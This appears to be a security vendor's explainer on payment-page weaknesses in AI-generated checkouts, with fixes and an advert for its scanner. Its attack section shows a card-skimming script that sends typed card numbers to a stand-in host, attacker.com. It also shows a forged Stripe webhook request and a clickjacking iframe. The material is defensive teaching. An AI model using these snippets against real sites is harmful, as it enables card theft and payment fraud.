All vulnerabilities
HighA02:2021CWE-319Payment & Compliance

Payment Security (PCI-DSS)

Vibe-coded checkout pages frequently expose raw card inputs in the DOM, skip 3DS/SCA authentication, and forget to verify Stripe webhook signatures — turning a payment form into a data exfiltration endpoint.

What Is Payment Security?

When vibe-coded apps add payment processing, they typically drop in a Stripe or PayPal snippet and move on. The result is often a checkout page that looks secure but contains critical PCI-DSS violations — raw card fields accessible to JavaScript, missing clickjacking protection, or webhooks that accept any POST without verifying the sender.

VibeWShield's Payment Security scanner auto-detects payment pages by URL path (/pay, /checkout, /billing), subdomain (pay.*, checkout.*), and JavaScript signals (js.stripe.com, paypal.com/sdk/js), then runs 6 targeted checks plus a Claude AI phase.

Attack Scenarios

Formjacking — Skimming Card Data via JS

When card number inputs live directly in the DOM (not inside a Stripe Elements iframe), any JavaScript on the page can read them:

// A compromised npm package or ad script can do this:
document.querySelector('[name="cardnumber"]').addEventListener('input', e => {
  fetch('https://attacker.com/collect', {
    method: 'POST',
    body: JSON.stringify({ card: e.target.value, site: location.hostname })
  });
});

Stripe Elements places card inputs inside a sandboxed cross-origin <iframe> specifically to prevent this. Raw DOM inputs have no such protection.

Fake Payment Event via Unauthenticated Webhook

Stripe signs every webhook with a Stripe-Signature header derived from your webhook secret. If your endpoint doesn't verify this signature:

# Anyone can POST a fake "payment_intent.succeeded" event
curl -X POST https://yourapp.com/api/stripe/webhook \
  -H "Content-Type: application/json" \
  -d '{"type":"payment_intent.succeeded","data":{"object":{"amount":9900,"status":"succeeded"}}}'

The result: an attacker triggers order fulfillment, unlocks premium features, or resets subscription status — without paying anything.

Clickjacking — Invisible Payment Page Overlay

Without Content-Security-Policy: frame-ancestors 'self' or X-Frame-Options: SAMEORIGIN, an attacker can embed your payment page inside an invisible iframe on a fake site:

<iframe src="https://pay.yourapp.com/checkout" style="opacity:0; position:absolute; top:0; left:0; width:100%; height:100%;"></iframe>
<div>🎁 Click here to claim your prize!</div>

When the victim clicks the fake button, they're actually clicking "Confirm Payment" on your invisible checkout page.

Legacy Stripe API — Bypassing 3DS Authentication

stripe.createToken() was deprecated in 2019. It creates a card token without triggering 3D Secure (3DS2) authentication, meaning the transaction bypasses the additional verification step required under PSD2 for European customers:

// ❌ Legacy — no 3DS
stripe.createToken(cardElement).then(result => {
  submitToServer(result.token.id);
});
 
// ✅ Modern — 3DS triggered automatically when required
stripe.confirmCardPayment(clientSecret, {
  payment_method: { card: cardElement }
});

Chargebacks from 3DS-bypassed transactions fall on the merchant, not the issuing bank.

CVV Persistence — PCI-DSS Requirement 3.2 Violation

PCI-DSS explicitly prohibits storing CVV/CVC after authorization. Browser autocomplete caches form values including CVV fields:

<!-- ❌ CVV stored by browser -->
<input type="text" name="cvv" placeholder="123">
 
<!-- ✅ Correct -->
<input type="text" name="cvv" autocomplete="off" placeholder="123">

If a device is shared or compromised, cached CVV values are accessible to other users or malware.

Raw Card Submission to Own Server

The most severe case: a checkout form that POSTs card fields directly to the merchant's own backend:

<!-- ❌ Card data going through your server = full PCI-DSS scope -->
<form action="/api/charge" method="POST">
  <input name="card_number" />
  <input name="expiry" />
  <input name="cvv" />
</form>

Any server that receives raw card numbers must comply with the full PCI-DSS SAQ D standard — extensive audits, penetration testing, quarterly scans, and strict infrastructure requirements. Most vibe-coded apps are nowhere near this compliance level.

What VibeWShield Checks

| Check | Severity | What We Detect | |-------|----------|----------------| | Iframe Sandboxing | HIGH | Raw <input> card fields in DOM vs Stripe Elements iframe | | CSP frame-ancestors | MEDIUM | Missing clickjacking protection on payment pages | | CVV Persistence | HIGH | autocomplete not disabled, localStorage writes near CVV fields | | Webhook Auth | HIGH | POST to webhook endpoint returns 200 without Stripe-Signature | | 3DS / SCA | MEDIUM | stripe.createToken() without confirmCardPayment() | | Tokenization | CRITICAL | Form POSTing raw card fields to merchant's own domain |

After the rule-based checks, Claude AI analyzes the page's JavaScript for client-side price manipulation, custom card exfiltration endpoints, and non-standard payment SDK misuse.

How to Fix

Use Stripe Elements (Iframe Sandboxing)

const stripe = Stripe('pk_live_...');
const elements = stripe.elements();
const cardElement = elements.create('card');
cardElement.mount('#card-element');
// Card number is now inside a sandboxed iframe — your JS cannot read it

Verify Webhook Signatures

// Node.js / Express
app.post('/webhook', express.raw({type: 'application/json'}), (req, res) => {
  const sig = req.headers['stripe-signature'];
  let event;
  try {
    event = stripe.webhooks.constructEvent(req.body, sig, process.env.STRIPE_WEBHOOK_SECRET);
  } catch (err) {
    return res.status(400).send(`Webhook Error: ${err.message}`);
  }
  // Now safe to process event
});

Add Clickjacking Protection

# Nginx
add_header Content-Security-Policy "frame-ancestors 'self'" always;
add_header X-Frame-Options "SAMEORIGIN" always;

Migrate to confirmCardPayment (3DS)

const { error } = await stripe.confirmCardPayment(clientSecret, {
  payment_method: {
    card: cardElement,
    billing_details: { name: customerName }
  }
});

Compliance Context

  • PCI-DSS Requirement 3.2: Never store sensitive authentication data (CVV/CVC) after authorization
  • PCI-DSS Requirement 6.4: Protect web-facing applications
  • PSD2 / SCA: Strong Customer Authentication required for most EU card transactions over €30
  • Stripe's recommendation: Use Payment Intents API (not Charges) for automatic 3DS handling
#pci-dss#stripe#payments#3ds#sca#webhook#clickjacking#cvv#tokenization

Free security scan

Test your app for Payment Security (PCI-DSS)

VibeWShield automatically checks for Payment Security (PCI-DSS) and 40+ other vulnerabilities using 63 scanners — in under 3 minutes, no signup required.

Scan your app free